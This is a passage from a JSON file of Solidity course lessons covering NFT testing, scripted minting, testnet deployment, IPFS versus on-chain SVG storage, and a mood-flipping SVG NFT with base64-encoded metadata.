SUCCESSFULLY!\"\n\n\n\nAnd there you have it! You've just created and deployed a basic NFT. This experience should give you a taste of the powerful capabilities of Solidity for building and working with NFTs.\n\nStay tuned for more adventures in the world of decentralized applications. And remember, never stop exploring!\n\n\n\nHappy Coding!\n", + "updates": [] + }, + { + "lessonId": "e0582e78-a7f4-4b30-8f0d-76e8a807377c", + "number": 7, + "title": "Test the NFTs smart contract", + "slug": "basic-nft-tests", + "folderName": "7-basic-nft-tests", + "description": "Focuses on testing the basic NFT contract using Solidity. It includes detailed steps for conducting tests like confirming the NFT name and testing the mint function, emphasizing the importance of testing for successful smart contract deployment.", + "duration": 11, + "videoUrl": "h0002kd6AppErtI00Sikbh88Qn8DV4diqGtK4I2b75NrH00", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/7-basic-nft-tests/+page.md", + "markdownContent": "---\ntitle: Basic NFT Tests\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWhen working with NFTs in Solidity, it's crucial to conduct tests to ensure that the contract functions appropriately. As you can imagine, programming blockchain-based contracts can be quite challenging because, unlike other pieces of software, deploying a faulty smart contract on the blockchain can lead to disastrous consequences (and yes, that includes financial loss!).\n\nWith that in mind, let's delve into testing coding some tests for the basic NFT contract we created in the previous lesson.\n\n\n\n## Conducting BasicNFT tests\n\nOnce the setup is complete, it's time to jump into tests. Writing an array of tests serves to validate the functionality of our contract, but for the purpose of this blog, let's focus on testing the Name function.\n\nTo confirm that the Name of your NFT is correct, declare a function `testNameIsCorrect` and specify it as public view. The expected output should be set as a string memory.\n\n```js\nfunction testNameIsCorrect() public view {\n string memory expectedName = \"Dogie\";\n string memory actualName = basicNft.name();\n // This will give us an error!\n assert(expectedName == actualName);\n}\n```\n## An Issue With Comparing Strings\n\nHowever, as we proceed with writing the tests, an issue becomes apparent when trying to assert that the expected name equals the actual name. The main problem lies in Solidity's inability to compare array types which includes strings.\n\nWhile it's possible to manually loop through each item in an array for comparison, it's impractical and can lead to verbose code. A more streamlined approach would be to hash the arrays using `abi.encodePacked` and compare the resulting fixed-sized, unique string identifiers.\n\n\nHere's how it's achieved:\n\n```javascript\nassert(keccak256(abi.encodePacked(expectedName)) == \n keccak256(abi.encodePacked(actualName)));\n```\n\nThis code returns a pass if the name functions as intended.\n\n\n\n\n## A Second Round of Testing\n\nSuppose we wish to further test if the `mint` function operates correctly and have a balance. In this case, let's declare a function `testCanMintAndHaveABalance`. In addition, assign an address called 'user', create one with the parent function and then mint an NFT.\n\nNow, test if the balance is correct and validate that the tokenUri is the same as the pug.\n\n```javascript\nfunction testCanMintAndHaveABalance() public {\n vm.prank(USER);\n basicNft.mintNft(PUG_URI);\n assert(basicNft.balanceOf(USER) == 1);\n }\n```\n\nIf everything is set correctly, it's time for execution! Use `forgeTest` to run all tests.\n\n\n\n## Wrapping Up\n\nIn conclusion, the process of testing contracts in Solidity is an essential part of developing a flawless contract that works exactly as intended. Despite some of its quirks (like the lack of native support for string comparison), you can leverage algorithmic techniques to work around them, as we have shown in this blog post translation of a transcript. Practice issuing new contracts and conducting tests - the more you practice, the easier it becomes. Happy coding, and to more successful test results!\n\n", + "updates": [] + }, + { + "lessonId": "bc86137e-2ab9-4a1f-aecd-60da82da36b3", + "number": 8, + "title": "Interact with a smart contract", + "slug": "interact-with-solidity-smart-contracts", + "folderName": "8-basic-interactions", + "description": "Teaches how to interact with Solidity smart contracts, particularly for minting NFTs. It includes setting up the necessary environment and scripts, and deploying NFTs using tools like Foundry and IPFS.", + "duration": 3, + "videoUrl": "5giC6UkQfl8r2b4K2g4Jdje5wTUGyh2BNNxvwj01XbNc", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/8-basic-interactions/+page.md", + "markdownContent": "---\ntitle: Basic NFT Interactions\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Introduction\n\nEveryone who is interested in the fascinating world of NFTs (Non-fungible tokens), most likely knows the basic line - how to mint a token. However, have you ever thought about creating a dedicated tool to mint your token programmatically, instead of using a traditional casting procedure? Well, you're in luck! We'll be discussing exactly how to achieve this with Solidity in this post. Buckle up!\n\n## The Code\n\nTypically, we'd define a Solidity contract with all the necessary imports. For this instance, we're going to name ours `MintBasicNft`. This is going to be on `Interactions.s.sol`, let's get started:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\ncontract MintBasicNft is Script {}\n```\n\nRight out of the gate, it's safe to say you already know the drill—defining a simple contract! We'll increase the complexity over the course of this tutorial.\n\n### Importing Necessary Libraries\n\nNext, we've got to bring in our scripts from Forge’s Script.sol. This is quite straightforward:\n\n```js\nimport {Script, console} from \"forge-std/Script.sol\";\n```\n\nNow, we'll start to shape up our contract. Next, we need to create an external function `run()` which is going to mint our NFT.\n\n```js\nfunction run() external {}\n```\n\nTo ensure that we're always working with the most recently deployed NFT, we'll need a fantastic tool from `foundry-devops-package`. It's time to install this package. Copy the URL and run it in your terminal:\n\n```shell\nforge install ChainAccelOrg/foundry-devops --no-commit\n```\n\nClose the terminal and write a code line to get the recently deployed address:\n\n```js\n\n\naddress mostRecentlyDeployed = \n DevOpsTools.get_most_recent_deployment(\"BasicNFT\", block.chainid);\n```\n\nHere, we have a function called `get_most_recent_deployment` from `DevOpsTools` that fetches the most recent deployment.\n\nFor this to work, remember to bring your DevOps tools into the contract:\n\n```js\nimport {DevOpsTools} from \"lib/foundry-devops/src/DevOpsTools.sol\";\n\n```\n\n### The Mint Function\n\nHere comes the grand part, writing the function that mints your NFT on the contract. For this, pass in the `mostRecentlyDeployed`:\n\n```js\nmintNFTOnContract(mostRecentlyDeployed);\n```\n\nAnd the function `mintNFTOnContract` takes an address, starts broadcasting, mints an NFT, and stops broadcasting:\n\n```js\nfunction mintNftOnContract(address contractAdress) public {\n vm.startBroadcast();\n BasicNft(basicNftAddress).mintNft(PUG);\n vm.stopBroadcast();\n}\n```\n\nAt the end of the function, you can pass your pug string (it’s unique, I promise). Don’t forget to import your basic NFT:\n\n```js\nimport {BasicNft} from \"../src/BasicNft.sol\";\n```\n\n## Conclusion\n\nCongratulations! You now have an effective way to programmatically deploy and mint your NFTs!\n\n\n\nWith this custom-made tool, you are no more confined to the traditional casting process. This tool gives you the flexibility to programmatically mint your NFTs with ease, anytime you want.\n\nWith this added skill in your NFT arsenal, you're a step closer to mastering the fascinating world of non-fungible tokens.\n\n**Happy Coding!**\n\n", + "updates": [] + }, + { + "lessonId": "1b847650-6cc7-42e9-9d47-54d8f5cd09a8", + "number": 9, + "title": "Deploy your NFTs on the testnet", + "slug": "deploy-nfts-on-testnet", + "folderName": "9-testnet-demo", + "description": "Guides on deploying NFTs to a testnet and importing them into MetaMask. It covers the use of Anvil for deployment, extracting contract data, and using MetaMask to interact with the deployed NFTs.", + "duration": 7, + "videoUrl": "By8uwTwEs82v01MQvQPgud3xTiJ1dCGNnAdgucXN2izA", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/9-testnet-demo/+page.md", + "markdownContent": "---\ntitle: Basic NFT Testnet Demo\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn our previous lesson, we've covered the concept and advantages of NFTs (Non-fungible tokens) along with how to build and test them. But to appreciate the full potential of our NFT, we need to see it in a real-world setting – our MetaMask wallet. This post walks you through how to deploy an NFT to a testnet, as well as how to import it to your MetaMask wallet. Let's get started!\n\n## Deploying NFT to a Testnet\n\nWhile testing is a vital part of NFT creation, deploying it in a real use case can bring more clarity to your understanding. Luckily, there are several ways to deploy your NFT. You could consider using Anvil, your own Anvil server, or a testnet. If you're not keen on waiting for the testnet or spending the gas, I'd recommend deploying it to Anvil.\n\nThe processes detailed below are optional, but feel free to follow along if you'd like.\n\n\n### Using a Makefile for Quick Deployment\n\nRather than typing out long scripts, we'll use a makefile here. The associated Git repo contains the makefile we're using, allowing you to simply copy and paste rather than rewriting everything.\n\nIn the makefile, we've captured most of the topics we've discussed so far, including our deploy script, which we'll use to deploy our basic NFT.\n\n\n\n\nHere is what the deploy script looks like:\n\n```makefile\ndeploy:\n\t@forge script script/DeployBasicNft.s.sol:DeployBasicNft $(NETWORK_ARGS)\n```\n\nIt's important here to ensure you have included your environmental variables. \n\nIt's noteworthy that you should write some tests before deploying on a testnet, although for the sake of showing you what the NFT looks like, we'll skip this step in this instance.\n\n## Deploying Our Basic NFT\n\nWe're now going to deploy our basic NFT to the contract address. After successful deployment, there will be a short wait for its verification.\n\n\n### Extracting Contract Info and Minting\n\nWith our NFT deployed, we'll now move to extract our contract data. In the broadcast folder, the latest run contains the created basic NFT information. We'll execute the following command to initiate the Mint function:\n\n```makefile\nmint:\n @forge script script/Interactions.s.sol:Interactions $(NETWORK_ARGS) \n```\n\nThe DevOps tool works by grabbing the most recent contract from this folder, thus automating the process.\n\n## Importing NFT into MetaMask\n\nWhile the NFT is being minted, let's transition to MetaMask:\n\n1. Copy the contract address under which the NFT was deployed.\n2. From MetaMask, go to NFTs and switch to Sepolia.\n3. Click on Import NFTs and paste the copied address.\n4. Since we're the first to create this NFT, the token ID will be zero. Input this and hit 'Add'.\n\nAfter a short wait, your NFT will be viewable right from your MetaMask wallet. It's intelligent enough to extract the token URI, allowing you to view the image, contract address, or send it elsewhere.\n\nCongratulations! You've successfully deployed and imported an NFT into MetaMask. You can now interact with it just as you would in a marketplace like OpenSea. Through this process, you've learned how to make an NFT come to life, from being just a script to being part of the real-world, bridging the gap between test environments and real applications.\n\nStay tuned for our next post on advanced NFT creation steps, such as a complete DeFi app development and more.\n\n", + "updates": [] + }, + { + "lessonId": "7831d519-1110-4317-8b7a-3298f63ebf62", + "number": 10, + "title": "IPFS and Pinata vs HTTP vs on chain SVGs", + "slug": "pin-nfts-images-using-pinata", + "folderName": "10-ipfs-https", + "description": "Discusses the pros and cons of using IPFS, HTTP, and on-chain SVGs for storing NFT data. It covers the pitfalls of each method and introduces services like Piñata Cloud for securing digital assets on IPFS.", + "duration": 4, + "videoUrl": "4Ola5wzT82RohNN5YaJhYr7UQ4aqVis9Q7X2vmmzsjc", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/10-ipfs-https/+page.md", + "markdownContent": "---\ntitle: The issue with IPFS vs HTTPS\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n\nIn the world of **Non-Fungible Tokens (NFTs)**, several questions often arise about where and how these digital assets should be stored. In this blog post, we'll discuss two main topics: the potential issues related to storing NFTs on IPFS and how to use *abi encode packed* for creating on-chain SVGs.\n\n## Part 1: What's The Issue with IPFS?\n\nFirst things first: Let's discuss the **InterPlanetary File System (IPFS**), a popular decentralized storage system for NFTs.\n\nYou might wonder - Is it a good idea to host my precious NFTs on IPFS? Isn't it better than the commonly used Https and websites for storing digital assets?\n\nWell, let's paint a clear picture for you.\n\n### What's Wrong with Using Websites for Storing NFTs?\n\nMany NFT creators use websites—with https—to store their tokens. However, should these websites go offline or worse, collapse, the NFT owner finds themselves with a broken JPEG link and a, dare we say, worthless NFT!\n\nDespite the apparent risk, this storage option remains popular because it's significantly cheaper and comfortable to spin up an IPFS node and pin your data to the node.\n\n\n### Why IPFS Might Not Be The Best Option Either\n\nCompared to storing digital assets on a website, IPFS is undoubtedly a better choice. It is a decentralized storage platform, meaning that it allows users to maintain control over their data. Furthermore, on IPFS, anyone can pin the NFT data and keep the image accessible permanently.\n\nHowever, IPFS has its pitfall. If a creator's IPFS node goes offline (like turning off their PC), it could result in an inaccessible file. That means anyone trying to access that NFT on platforms like MetaMask or OpenSea would stumble upon a broken JPEG image, not the intended item.\n\nThe fact that others can pin the NFT data offsets this inconvenience to an extent. But, how many users actually pin data and how reliable can that be?\n\nThis is where services like **Piñata Cloud** come into the picture. They keep your metadata for your stored NFTs up even if your IPFS node goes offline. Protocols like these provide an additional security blanket for your digital assets.\n\n\n## Part 2: Putting On-chain SVGs to Work\n\nWhile IPFS remains a viable option—despite its potential fallibility—enterprising NFT creators and users have found another way to store NFTs—on-chain SVGs.\n\n\"*So, what exactly is an SVG.*\", you ask? Let's delve deeper.\n\n### An Introduction to SVGs\n\nScalable Vector Graphics (SVGs) are a way to represent images and graphics. When stored on the blockchain, these images become 100% immutable and decentralized.\n\nCreators can encode their NFTs as SVG types; thus, the entire image is stored directly on the blockchain. Even though this method may be a little more expensive than IPFS, it's a surefire way to ensure the longevity and accessibility of your precious NFTs.\n\n\n### SVG NFT\n\n\n\n\nAs illustrious as this looks, the actual visual output of SVGs can sometimes be unsightly. But remember, beauty lies in the eye of the beholder. The real allure of on-chain SVGs is the knowledge that your NFT remains accessible, immutable, and in its truest form, no matter what.\n\n\n\n\nBy understanding how NFT storage works, you can ensure your digital assets' safety and longevity. The choice—whether IPFS, on-chain SVGs, or a comprehensive mix of both—is yours to make. Happy creating!\n\n", + "updates": [] + }, + { + "lessonId": "a6c7f1ac-aea5-42f5-860b-c1a025608de9", + "number": 11, + "title": "What is an SVG?", + "slug": "what-is-svg", + "folderName": "11-what-is-svg", + "description": "Explains Scalable Vector Graphics (SVGs), their advantages, and how to create them. The lesson includes coding snippets for SVG creation and highlights their use in NFTs for on-chain storage.", + "duration": 8, + "videoUrl": "Za4XqL7bPsdEYUEJIa7oe1X5KGwjA8a4HmoS22WhtYY", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/11-what-is-svg/+page.md", + "markdownContent": "---\ntitle: What is an SVG?\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome to our exploration of Scalable Vector Graphics, lovingly known as SVGs. Today, we're moving beyond traditional image files to delve into the perks of SVGs, their functionality and how to create your own. So, let's get right into it!\n\n## What is an SVG?\n\nTo understand what an SVG is, we'll dive right into a helpful tutorial from our friends at [W3Schools](https://www.w3schools.com/graphics/svg_intro.asp). SVG stands for Scalable Vector Graphics. In simpler terms, SVG is a way to define images in a two-dimensional space using XML coded tags with specific parameters.\n\nSVGs are awesome because they maintain their quality, no matter what size you make them. If you stretch a traditional image file like a .jpg or .png, they become pixelated and lose clarity. SVGs don’t suffer from this issue because they’re scalable. They’re defined within an exact parameter, thus maintaining their pristine quality regardless of size.\n\n\n\n## Creating Your Own SVG\n\nNow, let's talk about how you can create your own SVG. If you're following the W3Schools tutorial, you'll notice that you can modify SVG coding directly from the page. For instance, you can alternate the fill from the default color to blue and the outline (stroke) to black with the appropriate SVG parameters.\n\nYou can follow this exercise in your code editors as well. And if you are using Visual Studio Code, you can even preview your SVGs in real time.\n\n### SVG Coding Snippet\n\nHere is a typical SVG coding that you can try:\n\n```js\n\n \n

My first SVG

\n \n \n \n \n\n```\n\nFor the live preview of your SVG, you can use various SVG viewers and SVG previewers available in the marketplace. Moreover, if you want to convert your SVG into a binary representation that can be passed via URL, you can use the `base64` command.\n\n**Note**: The base64 command might not be available on all machines, fret not, you can simply follow along and copy the steps as mentioned.(base64 --help will show if you have this command.)\n\n\n\nBase 64 basically encodes your SVG data into a form that can be used in data URIs for embedding your SVGs into browsers. So let’s go ahead and pass an encoded SVG and see it rendered in the browser.\n\nAdd this small prefix `data:image/svg+xml;base64,` before the encoded SVG and voilà! Your SVG should read \"Hi, your browser decoded this” in the browser URL preview.\n\n## Utilising SVGs in NFT\n\nEmbedding SVGs becomes incredibly useful when dealing with Non-Fungible Token (NFT) assets. In the realm of NFTs, SVGs can be stored on-chain as URIs. This paves the way for dynamic and interactive NFTs.\n\nWith the same base64 encoding, you can pass entire image data right in the URL and this will be your token URI. Therefore, instead of using an IPFS hash for our Token Uri, you can fully rely on chain using this SVG..\n\nThe major advantage of this approach is that the SVG, which is now essentially code on-chain, can be updated and interacted with. This implies endless possibilities for your NFT. It can be designed to change, evolve, grow - limited only by your imagination!\n\n\n\nThere you have it! We've just scratched the surface of SVGs and their vast potential within the realm of NFTs. This is an especially desirable competency for those looking to raise their game as smart contract developers.\n\nIn future posts, we will further explore the concept of ABIs and code packing in the context of SVGs and Smart Contracts. Great progress so far, and keep on learning!\n", + "updates": [] + }, + { + "lessonId": "15fe9028-8fd6-4e80-9cb2-fb3c44a17656", + "number": 12, + "title": "Create a dynamic NFTs collection", + "slug": "create-dynamic-nft", + "folderName": "12-svg-nft", + "description": "Focuses on creating dynamic SVG NFTs, particularly a mood-changing NFT that alternates its appearance. It includes detailed instructions for setting up the NFT project, minting the NFTs, and defining their appearance.", + "duration": 5, + "videoUrl": "JCmH2YlyGgL765YBbgp013tYJSzjOWH6K3k2wn01wLyFU", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/12-svg-nft/+page.md", + "markdownContent": "---\ntitle: SVG NFT Intro\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nCreating SVG NFTs is a fascinating endeavor, especially if these NFTs can change their mood! In this practical guide, we'll build our dynamic SVG NFT—an innovative NFT whose image changes and whose data is 100% stored on-chain.\n\n## What Are We Building?\n\nOur ultimate task is to create a mood-changing NFT—bam, a Mood NFT! That's right, we're developing an NFT that can switch from happy to sad and vice versa.\n\nOur Mood NFT is housed with an intelligent function we call \"Flip Mood.\" This function alternates the mood of our NFT—if its mood is happy, it turns sad, and vice versa. As per the mood, our NFT will either display a happy or sad SVG that we will store on-chain.\n\n## Setting the Mood\n\nTime to roll up our sleeves and kick-off our Mood NFT project. Open up your SRC, create a new file—let's name it `MoodNft.sol`. Remember, before we start writing our contract, we need to define the SPDX license Identifier (MIT) and establish which version of Solidity we're working with (0.8.18 in our case). Now, let's begin to define our `MoodNft` contract.\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract MoodNft {}\n```\n\nOur NFT contract will contain several vital elements from the basic NFT, so let’s take some of that and import it into our new folder. Next, our NFT will be defined as an ERC721 token. Sustaining the moods (happy and sad SVGs) of our NFT is critical, so we'll pass these mood SVGs in our constructor. You can make your personalized Sad SVG. For this tutorial, we'll use this happy SVG.\n\n```js\nconstructor(\n string memory sadSvgUri,\n string memory happySvgUri\n ) ERC721(\"Mood NFT\", \"MN\") {}\n\n```\n\n## Mood Tracking: Creat a Token Counter\n\nA token counter is an essential part of our Mood NFT. Hence, we need to create a private token counter `uint256 private s_tokenCounter`. We'll initiate the token counter in the constructor to zero.\n\n```js\n uint256 private s_tokenCounter;\n\nconstructor(\n string memory sadSvgUri,\n string memory happySvgUri\n ) ERC721(\"Mood NFT\", \"MN\") {\n s_tokenCounter = 0;\n }\n\n```\n\nLet's save these SVGs as `string private s_sadSvgUri` and `string private s_happySvgUri`, and pass them:\n\n```js\nstring private s_sadSvgUri;\nstring private s_happySvgUri;\n```\n\n## Minting the Mood NFT\n\nOur mood NFT is now ready for anybody to mint! We'll define a public function `mintNFT()` that enables anyone to mint their Mood NFT. This function will contain a `safemint` statement that provides the `msg.sender` their Token ID. Also, remember to increment the token counter so that every new token gets a unique ID.\n\n```js\n function mintNft() public {\n // how would you require payment for this NFT?\n _safeMint(msg.sender, s_tokenCounter);\n s_tokenCounter = s_tokenCounter + 1;\n emit CreatedNFT(s_tokenCounter);\n }\n```\n\nFinally, we need to define what our NFT will look like. This is done using the `TokenURI` function, which takes the token ID as a parameter and returns a string memory.\n\n```js\nfunction tokenURI(uint256 _tokenId) public view override returns (string memory) {}\n```\n\nAnd that's a wrap! Developing mood-changing NFTs can be as fun as it sounds. Now it's your turn to create your mood NFT and bring your crazy, creative ideas to life!\n", + "updates": [] + }, + { + "lessonId": "f1face80-d228-4ce4-8566-e4a6733cb435", + "number": 13, + "title": "Encoding SVGs to be stored onchain", + "slug": "svg-onchain-encoding", + "folderName": "13-svg-nft-encoding", + "description": "Teaches encoding SVGs in Base64 format for on-chain storage in NFTs. It covers the process of encoding and testing SVG NFTs, ensuring their proper functioning and appearance", + "duration": 17, + "videoUrl": "LQcpzY01ZCvnU9tVVEDebEdMEZ2g500BReuXF022wtf8vE", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/13-svg-nft-encoding/+page.md", + "markdownContent": "---\ntitle: SVG NFT Encoding\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nThis blog post provides an in-depth walkthrough on how to encode SVGs as part of your NFT metadata.\n\n## Getting Started\n\nFirst, you need to encode the SVGs separately to Base64 format. Here’s how:\n\nOpen your README file and delete everything inside. Let’s say we're going to encode one of the emotions.\n\n```js\nfunction tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) {\n revert ERC721Metadata__URI_QueryFor_NonExistentToken();\n }\n string memory imageURI = s_happySvgUri;\n\n if (s_tokenIdToState[tokenId] == NFTState.SAD) {\n imageURI = s_sadSvgUri;\n }\n return\n string(\n abi.encodePacked(\n _baseURI(),\n Base64.encode(\n bytes(\n abi.encodePacked(\n '{\"name\":\"',\n name(), // You can add whatever name here\n '\", \"description\":\"An NFT that reflects the mood of the owner, 100% on Chain!\", ',\n '\"attributes\": [{\"trait_type\": \"moodiness\", \"value\": 100}], \"image\":\"',\n imageURI,\n '\"}'\n )\n )\n )\n )\n );\n }\n```\n\nNow, the important step.\n\nInstead of passing the SVG text in your smart contract (like `MoodNFT` for instance), pass in the already encoded version. It’s worth mentioning that base64 encoding the images on-chain may effectively reduce gas costs.\n\n## Testing the SVG NFT\n\nNow we need to ensure the SVG NFT is working as expected. of course both the Happy and Sad SVG have a different base64 encoded string. Let’s test it out.\n\n```js\nstring public constant HAPPY_MOOD_URI =\n \"data:application/json;base64,eyJuYW1lIjoiTW9vZCBORlQiLCAiZGVzY3JpcHRpb24iOiJBbiBORlQgdGhhdCByZWZsZWN0cyB0aGUgbW9vZCBvZiB0aGUgb3duZXIsIDEwMCUgb24gQ2hhaW4hIiwgImF0dHJpYnV0ZXMiOiBbeyJ0cmFpdF90eXBlIjogIm1vb2RpbmVzcyIsICJ2YWx1ZSI6IDEwMH1dLCAiaW1hZ2UiOiJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUIyYVdWM1FtOTRQU0l3SURBZ01qQXdJREl3TUNJZ2QybGtkR2c5SWpRd01DSWdJR2hsYVdkb2REMGlOREF3SWlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpUGdvZ0lEeGphWEpqYkdVZ1kzZzlJakV3TUNJZ1kzazlJakV3TUNJZ1ptbHNiRDBpZVdWc2JHOTNJaUJ5UFNJM09DSWdjM1J5YjJ0bFBTSmliR0ZqYXlJZ2MzUnliMnRsTFhkcFpIUm9QU0l6SWk4K0NpQWdQR2NnWTJ4aGMzTTlJbVY1WlhNaVBnb2dJQ0FnUEdOcGNtTnNaU0JqZUQwaU5qRWlJR041UFNJNE1pSWdjajBpTVRJaUx6NEtJQ0FnSUR4amFYSmpiR1VnWTNnOUlqRXlOeUlnWTNrOUlqZ3lJaUJ5UFNJeE1pSXZQZ29nSUR3dlp6NEtJQ0E4Y0dGMGFDQmtQU0p0TVRNMkxqZ3hJREV4Tmk0MU0yTXVOamtnTWpZdU1UY3ROalF1TVRFZ05ESXRPREV1TlRJdExqY3pJaUJ6ZEhsc1pUMGlabWxzYkRwdWIyNWxPeUJ6ZEhKdmEyVTZJR0pzWVdOck95QnpkSEp2YTJVdGQybGtkR2c2SURNN0lpOCtDand2YzNablBnPT0ifQ==\";\n\n string public constant SAD_MOOD_URI =\n \"data:application/json;base64,eyJuYW1lIjoiTW9vZCBORlQiLCAiZGVzY3JpcHRpb24iOiJBbiBORlQgdGhhdCByZWZsZWN0cyB0aGUgbW9vZCBvZiB0aGUgb3duZXIsIDEwMCUgb24gQ2hhaW4hIiwgImF0dHJpYnV0ZXMiOiBbeyJ0cmFpdF90eXBlIjogIm1vb2RpbmVzcyIsICJ2YWx1ZSI6IDEwMH1dLCAiaW1hZ2UiOiJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBEOTRiV3dnZG1WeWMybHZiajBpTVM0d0lpQnpkR0Z1WkdGc2IyNWxQU0p1YnlJL1BnbzhjM1puSUhkcFpIUm9QU0l4TURJMGNIZ2lJR2hsYVdkb2REMGlNVEF5TkhCNElpQjJhV1YzUW05NFBTSXdJREFnTVRBeU5DQXhNREkwSWlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpUGdvZ0lEeHdZWFJvSUdacGJHdzlJaU16TXpNaUlHUTlJazAxTVRJZ05qUkRNalkwTGpZZ05qUWdOalFnTWpZMExqWWdOalFnTlRFeWN6SXdNQzQySURRME9DQTBORGdnTkRRNElEUTBPQzB5TURBdU5pQTBORGd0TkRRNFV6YzFPUzQwSURZMElEVXhNaUEyTkhwdE1DQTRNakJqTFRJd05TNDBJREF0TXpjeUxURTJOaTQyTFRNM01pMHpOekp6TVRZMkxqWXRNemN5SURNM01pMHpOeklnTXpjeUlERTJOaTQySURNM01pQXpOekl0TVRZMkxqWWdNemN5TFRNM01pQXpOeko2SWk4K0NpQWdQSEJoZEdnZ1ptbHNiRDBpSTBVMlJUWkZOaUlnWkQwaVRUVXhNaUF4TkRCakxUSXdOUzQwSURBdE16Y3lJREUyTmk0MkxUTTNNaUF6TnpKek1UWTJMallnTXpjeUlETTNNaUF6TnpJZ016Y3lMVEUyTmk0MklETTNNaTB6TnpJdE1UWTJMall0TXpjeUxUTTNNaTB6TnpKNlRUSTRPQ0EwTWpGaE5EZ3VNREVnTkRndU1ERWdNQ0F3SURFZ09UWWdNQ0EwT0M0d01TQTBPQzR3TVNBd0lEQWdNUzA1TmlBd2VtMHpOellnTWpjeWFDMDBPQzR4WXkwMExqSWdNQzAzTGpndE15NHlMVGd1TVMwM0xqUkROakEwSURZek5pNHhJRFUyTWk0MUlEVTVOeUExTVRJZ05UazNjeTA1TWk0eElETTVMakV0T1RVdU9DQTRPQzQyWXkwdU15QTBMakl0TXk0NUlEY3VOQzA0TGpFZ055NDBTRE0yTUdFNElEZ2dNQ0F3SURFdE9DMDRMalJqTkM0MExUZzBMak1nTnpRdU5TMHhOVEV1TmlBeE5qQXRNVFV4TGpaek1UVTFMallnTmpjdU15QXhOakFnTVRVeExqWmhPQ0E0SURBZ01DQXhMVGdnT0M0MGVtMHlOQzB5TWpSaE5EZ3VNREVnTkRndU1ERWdNQ0F3SURFZ01DMDVOaUEwT0M0d01TQTBPQzR3TVNBd0lEQWdNU0F3SURrMmVpSXZQZ29nSUR4d1lYUm9JR1pwYkd3OUlpTXpNek1pSUdROUlrMHlPRGdnTkRJeFlUUTRJRFE0SURBZ01TQXdJRGsySURBZ05EZ2dORGdnTUNBeElEQXRPVFlnTUhwdE1qSTBJREV4TW1NdE9EVXVOU0F3TFRFMU5TNDJJRFkzTGpNdE1UWXdJREUxTVM0MllUZ2dPQ0F3SURBZ01DQTRJRGd1TkdnME9DNHhZelF1TWlBd0lEY3VPQzB6TGpJZ09DNHhMVGN1TkNBekxqY3RORGt1TlNBME5TNHpMVGc0TGpZZ09UVXVPQzA0T0M0MmN6a3lJRE01TGpFZ09UVXVPQ0E0T0M0Mll5NHpJRFF1TWlBekxqa2dOeTQwSURndU1TQTNMalJJTmpZMFlUZ2dPQ0F3SURBZ01DQTRMVGd1TkVNMk5qY3VOaUEyTURBdU15QTFPVGN1TlNBMU16TWdOVEV5SURVek0zcHRNVEk0TFRFeE1tRTBPQ0EwT0NBd0lERWdNQ0E1TmlBd0lEUTRJRFE0SURBZ01TQXdMVGsySURCNklpOCtDand2YzNablBnbz0ifQ==\";\n\n address USER = makeAddr(\"user\");\n\n function testViewTokenURI() public {\n vm.prank(USER);\n moodNft.mintNft();\n console.log(moodNft.tokenURI(0));\n }\n\n```\n\n## Summary\n\nIn summary:\n\n1. A unique ID is generated for each MoodNFT.\n2. The metadata is stored and rendered directly from the blockchain.\n\nIf there's a need to add new moods, you can simply update the moods array.\n\nThis metadata standard is easy to adopt and highly adaptable, perfect for projects seeking to incorporate rich metadata for their NFTs. But remember to verify each line of your code to avoid any vulnerabilities. Happy coding!\n\n\n", + "updates": [] + }, + { + "lessonId": "2e1b663e-4070-4cf7-8858-e623c5d682e8", + "number": 14, + "title": "Modify the NFT image onchain", + "slug": "change-on-chain-nft-image", + "folderName": "14-svg-nft-flipping", + "description": "This section is about adding functionality to change the NFT's appearance on-chain. It includes creating a function to flip the mood of an NFT, ensuring only the owner can modify it", + "duration": 3, + "videoUrl": "ypCDKWLaEz5zteeNgODKRjk92sSb1CHEvLxcRF3YHM8", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/14-svg-nft-flipping/+page.md", + "markdownContent": "---\ntitle: SVG NFT Flipping the Mood\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## The \"Flip Mood\" Functionality\n\nImagine if we could interact with our NFTs and change their mood between happy and sad. It can add a new dimension to how we engage with our assets. Let's write a function to achieve this.\n\n```js\nfunction flipMood(uint256 tokenId) public {\n\n if (s_tokenIdToState[tokenId] == NFTState.HAPPY) {\n s_tokenIdToState[tokenId] = NFTState.SAD;\n } else {\n s_tokenIdToState[tokenId] = NFTState.HAPPY;\n }\n }\n```\n\nIn this function, `tokenId` is a unique identifier for our NFT. We're stating that this function should be public, available for interaction.\n\nBut first, we should ensure that only the owner of the NFT can flip its mood, right?\n\n## Ensuring Owner Access\n\nOf course this is something just the owner of the NFT should be able to do. We can achieve this by adding a if statement to our function and a modifier to our contract.\n\n```js\nerror MoodNft__CantFlipMoodIfNotOwner();\n\n if (!_isApprovedOrOwner(msg.sender, tokenId)) {\n revert MoodNft__CantFlipMoodIfNotOwner();\n }\n```\n\nHere, we use the 'require' statement to validate that it's the NFT owner attempting to flip the mood. If it isn't, the operation doesn't proceed, and we get a custom error stating, \"MoodNFT: Can't flip mood if not owner\".\n\n## Closing thoughts\n\n\n\nSprucing up our NFTs with a \"Mood Flip\" functionality provides a unique way for their owners to engage with these digital assets, marking a significant step forward in the NFT space. With the continuous evolution of this technology, the 